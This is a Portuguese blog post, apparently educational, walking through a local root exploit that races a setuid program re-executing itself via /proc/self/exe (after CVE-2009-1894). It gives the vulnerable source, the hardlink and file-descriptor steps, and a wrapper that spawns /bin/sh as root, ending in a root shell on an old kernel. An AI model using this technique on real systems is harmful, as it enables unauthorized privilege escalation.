Exploração de race condition via procfs

Achei muito interessante um antigo post do StalkR's blog que fala de técnicas de exploração de race condition em file system, a que me chamou mais atenção foi a que utiliza procfs.

A exploração é feita através de um código que se re-executa usando /proc/self/exe (isto faz com que o dynamic-linker faça toda as relocações em load-time, mas também é uma abertura óbvia para race condition) e que também tem set-uid de root, baseado em uma falha encontrada no pulseaudio (CVE-2009-1894) por Tavis Ormandy e Julien Tinnes.

Um exemplo de código vulnerável nesses moldes:

#include <stdio.h>
 
int main(int argc, char **argv)  { 
	char *args[3] = { 0 };
	char buf[4096]; 
 
	/**
	 * Checagem para o programa não rodar infinitamente
	 */
	if (argc < 2) {
		if (readlink("/proc/self/exe", buf, sizeof(buf)) < 0) {
			return 1; 
		}
 
		args[0] = buf;
		args[1] = "1";
 
		if (execve(args[0], args, 0) < 0) {
			return 1; 
		}
	}
	return 0; 
} 

Compilando e tornando-o set-uid root:

$ gcc -o vuln main.c
$ sudo chown root: vuln
$ sudo chmod u+s vuln 
$ ls -la vuln 
-rwsr-xr-x 1 root root 6856 Nov 20 14:12 vuln

Agora vamos à técnica usando o procfs!
Criaremos um hardlink para o programa vulnerável e em seguida criaremos um fd para tal arquivo.

$ ln vuln poc
$ exec 3< ./poc
$ ls -la /proc/$$/fd/3
lrwx------ 1 felipe felipe 64 Nov 20 12:30 /proc/7096/fd/3 -> /home/felipe/stuff/poc

Perceba que ao usarmos 'exec 3< ./poc' o programa não é iniciado, apenas um file descriptor (fd) de leitura é criado para ./poc, e ele tem a informação de owner e setuid.

Em seguida removemos o `poc' do diretório:

$ rm poc
$ ls -la /proc/$$/fd/3
lrwx------ 1 felipe felipe 64 Nov 20 12:30 /proc/7096/fd/3 -> /home/felipe/stuff/poc (deleted)

Como deletamos o antigo link `poc', agora no procfs irá aparecer o link para um pseudo arquivo 'poc (deleted)'. Aqui começa a exploração!

Que tal substituir o atual alvo do fd que ainda contém os dados do owner e set-uid do programa vulnerável, com um programa que abre uma shell com os mesmos poderes? É isso que faremos abaixo, veja:

#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv) { 
	char *args[] = { "/bin/sh", 0 };
 
	/* root ou não root? Eis a questão! */
	if (geteuid() != 0) {
		exit(1); 
	}
	setuid(geteuid()); 
 
	return execve(args[0], args, 0); 
} 

Então compilamos e renomeamos para o atual alvo do link do fd:

$ gcc -o wrapper wrapper.c
$ mv wrapper 'poc (deleted)'

Agora basta executarmos usando o fd!

$ exec /proc/$$/fd/3
# whoami
root

Note que o comando exec irá substituir a shell atual em memória.

Obs.: Versão do kernel utilizada: 2.6.32-5

Referências

- http://blog.stalkr.net/2010/11/exec-race-condition-exploitations.html
- http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1894

Post new comment

The content of this field is kept private and will not be shown publicly.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Lines and paragraphs break automatically.

More information about formatting options